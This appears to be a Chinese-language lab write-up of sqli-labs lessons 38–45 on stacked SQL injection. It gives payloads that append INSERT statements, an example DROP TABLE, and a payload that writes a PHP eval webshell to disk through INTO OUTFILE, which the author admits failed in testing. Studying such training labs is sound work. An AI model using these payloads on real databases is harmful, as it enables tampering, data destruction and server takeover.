sqli-labs lesson 38-45

从page3也就是less 38开始进入了堆叠注入(stacked injection)

stacked injection:

简单来说就是进行SQL注入时注入了多条语句。因为之前我们都是只进行过注入一条语句完成attack,

而现在开始一般用;来进行多条语句的注入。在SQL中,分号(;)是用来表示一条sql语句的结束。

我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union

或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

举个例子: select * from users where id = 1 ; drop table users;

第一条语句查询信息,第二条删除users表

(注意oracle数据库无法进行堆叠注入,当在其中输入两条或更多语句时直接报错无效字符。)

less 38

观察源码可以看到数据库执行的select语句为:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

构造payload:

?id=1' ; insert into users(id,username,password) values ('100',‘less38’,‘zzw’) --+

 查看数据库:

less 39

观察源码: 是数字型注入

 构造payload:

?id=1;insert into users(id,username,password) values('39','less39','39')#

 查看数据库:(截图一直转圈...就不上传了)

less 40

本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1

闭合的时候注意用 ') 闭合前面的 ('  ,之后后面的 ‘)用 --+注释掉即可 和前两关步骤一样

 payload:

?id=1'); insert into users(id,username,password) values ('40','less40','40') --+

less 41

本关和less 39闭合语句思路是一样的,都是数字型注入,只是没有错误回显了

payload:

?id=1; insert into users(id,username,password) values ('41','less41','41')

less 42

本关变为了post型注入,且观察源代码发现在username处用到了mysqli_real_escape_string函数

进行了过滤,但是password没有进行过滤,切换注入点为password即可。

username随便输入,在password出输入构造的payload

payload:

1'; insert into users(id,username,password) values ('42','less42','42');#

 尝试用插入的用户名和密码进行登录

less 43

与less 42基本一致,也是在password处构造并输入payload

只是此处闭合语句用 ') 闭合前面的 (' 后面就用注释符注释掉即可

用insert into 插入我们想要的username 和 password

payload:

1'); insert into users(id,username,password) values ('43','less43','43');#

less 44

本关与less 43基本一致,区别在于没有回显信息,password处的包裹为 '

password处构造payload:

1'; insert into users(id,username,password) values ('44','less44','44');#

 

 

less 45

与less 42基本一致 区别在于没有错误信息回显,password处被('')包裹

还是在password处构造payload:

1');insert into users(id,username,password) values ('45','less45','45') #

 

 

此处介绍另外一种方法,利用一句话木马和中国菜刀

1.需要有写权限

2.需要一句话木马

3.select xxx into outfile xxx

4.绝对路径

以less45为例,构造payload:

1');select '<?php @eval($_post["users"]);?>' into outfile 'C:\phpstudy1\PHPTutorial\

WWW\sqli-labs-master\Less-45\1.php' #

 (测试有误  不定期更新)

原文地址:https://www.cnblogs.com/Zh1z3ven/p/12505605.html